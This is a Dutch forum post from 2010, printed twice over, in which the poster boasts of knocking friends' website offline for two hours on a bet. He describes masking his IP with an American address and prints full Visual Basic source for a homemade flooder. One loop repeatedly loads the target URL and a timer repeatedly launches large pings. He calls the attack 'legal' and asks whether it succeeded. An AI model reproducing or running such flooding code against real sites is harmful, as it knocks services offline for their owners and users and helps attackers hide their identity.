Ddos attack op een anderen manier??
13-03-2010,11:00 door
hallo
Ik had met 2 vrienden een weddenschap dat ik hun site kon plat leggen
met een kleine (legale) ddos attack met cmd.
en met nog een paar pc's.
dat ging makkelijk want ik heb ongeveer 25 mb download snelheid.
maar toen las ik dit
http://www.seniorennet.nl/Pages/Thuis_op_internet/aanvallen_websites_attack_ddos_attack_dos_attack_uitgelegd_verklaard.php
en las ik de derde aanval met een valse afzender enzo en dat zo een website uren plat zou zijn.
Dus ik had een idee. Ik ging hide my ip downloaden.
en veranderde mijn ip in een amerikaanse ip adres,
ik maakte een eigen programma om een ddos attack uit te voeren. Ik deeed het met visual basic 2008
hier is de code:
Public Class Form1
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Do
WebBrowser1.Navigate(TextBox1.Text)
Loop
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
ProgressBar1.Value = 100
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
ProgressBar1.Value = 0
MsgBox("De aanval wordt gestopt")
End Sub
Private Sub EventLog1_EntryWritten(ByVal sender As System.Object, ByVal e As System.Diagnostics.EntryWrittenEventArgs) Handles EventLog1.EntryWritten
End Sub
Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
If My.Computer.Network.IsAvailable = True Then
Label2.Text = "connected"
Label2.ForeColor = Color.Green
Else
Label2.Text = "disconnected"
Label2.ForeColor = Color.Red
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Timer2.Enabled = True
ProgressBar1.Value = 100
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Shell("ping " + (TextBox1.Text) + "-t -l 65500")
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Timer2.Enabled = False
ProgressBar1.Value = 0
MsgBox("De aanval wordt gestopt")
ProgressBar1.Value = 0
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub DateTimePicker1_ValueChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DateTimePicker1.ValueChanged
End Sub
Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
End Class
(timer 1 interval is 750 timer 2 interval is 250)
maar toen ik de aanval deed lag hun site er 2 uur uit.
was het gelukt??
Ik had met 2 vrienden een weddenschap dat ik hun site kon plat leggen
met een kleine (legale) ddos attack met cmd.
en met nog een paar pc's.
dat ging makkelijk want ik heb ongeveer 25 mb download snelheid.
maar toen las ik dit
http://www.seniorennet.nl/Pages/Thuis_op_internet/aanvallen_websites_attack_ddos_attack_dos_attack_uitgelegd_verklaard.php
en las ik de derde aanval met een valse afzender enzo en dat zo een website uren plat zou zijn.
Dus ik had een idee. Ik ging hide my ip downloaden.
en veranderde mijn ip in een amerikaanse ip adres,
ik maakte een eigen programma om een ddos attack uit te voeren. Ik deeed het met visual basic 2008
hier is de code:
Public Class Form1
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Do
WebBrowser1.Navigate(TextBox1.Text)
Loop
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
ProgressBar1.Value = 100
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
ProgressBar1.Value = 0
MsgBox("De aanval wordt gestopt")
End Sub
Private Sub EventLog1_EntryWritten(ByVal sender As System.Object, ByVal e As System.Diagnostics.EntryWrittenEventArgs) Handles EventLog1.EntryWritten
End Sub
Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
If My.Computer.Network.IsAvailable = True Then
Label2.Text = "connected"
Label2.ForeColor = Color.Green
Else
Label2.Text = "disconnected"
Label2.ForeColor = Color.Red
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Timer2.Enabled = True
ProgressBar1.Value = 100
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Shell("ping " + (TextBox1.Text) + "-t -l 65500")
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Timer2.Enabled = False
ProgressBar1.Value = 0
MsgBox("De aanval wordt gestopt")
ProgressBar1.Value = 0
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub DateTimePicker1_ValueChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DateTimePicker1.ValueChanged
End Sub
Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click
End Sub
Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
End Sub
End Class
(timer 1 interval is 750 timer 2 interval is 250)
maar toen ik de aanval deed lag hun site er 2 uur uit.
was het gelukt??









